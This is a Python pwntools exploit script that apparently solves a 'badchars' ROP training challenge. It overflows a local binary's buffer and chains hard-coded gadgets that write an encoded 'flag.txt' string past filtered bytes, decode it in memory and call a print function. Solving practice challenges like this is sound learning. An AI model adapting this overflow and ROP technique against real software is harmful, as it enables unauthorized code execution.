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#!/usr/bin/env python3
from pwn import *
from time import sleep
# gotta go FAST
# i'll make it clean when I'm not pressured for time
prog = process('./badchars')
payload = b''
for c in range(40):
payload += b'a'
payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += b'fl`f-twt'
payload += p64(0x601be0)
payload += p64(1)
payload += p64(0x601be2)
payload += p64(0x0000000000400634) # just pops
payload += p64(0x000000000040062c) # add [r15], r14
payload += p64(0x00000000004006a0) # pops
payload += p64(1)
payload += p64(0x601be3)
payload += p64(0x000000000040062c) # add [r15], r14
payload += p64(0x00000000004006a0) # pops
payload += p64(1)
payload += p64(0x601be4)
payload += p64(0x000000000040062c) # add [r15], r14
payload += p64(0x00000000004006a0) # pops
payload += p64(1)
payload += p64(0x601be6)
payload += p64(0x000000000040062c) # add [r15], r14
payload += p64(0x00000000004006a3) # pops rdi
payload += p64(0x601be0)
payload += p64(0x0000000000400510)
payload += b"\n"
prog.sendline(payload)
sleep(0.5)
print(prog.recv())
prog.close()
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